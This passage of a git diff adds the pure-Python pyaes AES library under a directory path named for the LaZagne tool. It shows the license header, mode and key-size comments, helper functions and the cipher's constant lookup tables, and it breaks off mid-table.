PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# This is a pure-Python implementation of the AES algorithm and AES common +# modes of operation. + +# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard +# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation + + +# Supported key sizes: +# 128-bit +# 192-bit +# 256-bit + + +# Supported modes of operation: +# ECB - Electronic Codebook +# CBC - Cipher-Block Chaining +# CFB - Cipher Feedback +# OFB - Output Feedback +# CTR - Counter + +# See the README.md for API details and general information. + +# Also useful, PyCrypto, a crypto library implemented in C with Python bindings: +# https://www.dlitz.net/software/pycrypto/ + + +VERSION = [1, 3, 0] + +from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter +from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter +from .blockfeeder import PADDING_NONE, PADDING_DEFAULT diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py b/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py new file mode 100644 index 0000000..135f275 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py @@ -0,0 +1,589 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# This is a pure-Python implementation of the AES algorithm and AES common +# modes of operation. + +# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard + +# Honestly, the best description of the modes of operations are the wonderful +# diagrams on Wikipedia. They explain in moments what my words could never +# achieve. Hence the inline documentation here is sparer than I'd prefer. +# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation + +# Also useful, PyCrypto, a crypto library implemented in C with Python bindings: +# https://www.dlitz.net/software/pycrypto/ + + +# Supported key sizes: +# 128-bit +# 192-bit +# 256-bit + + +# Supported modes of operation: +# ECB - Electronic Codebook +# CBC - Cipher-Block Chaining +# CFB - Cipher Feedback +# OFB - Output Feedback +# CTR - Counter + + +# See the README.md for API details and general information. + + +import copy +import struct + +__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", + "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] + + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + +def _string_to_bytes(text): + return list(ord(c) for c in text) + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + +def _concat_list(a, b): + return a + b + + +# Python 3 compatibility +try: + xrange +except NameError: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + +# Based *largely* on the Rijndael implementation +# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] + + # S-box and Inverse S-box (S is for Substitution) + S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] + Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] + + # Transformations for encryption + T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] + T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] + T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] + T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 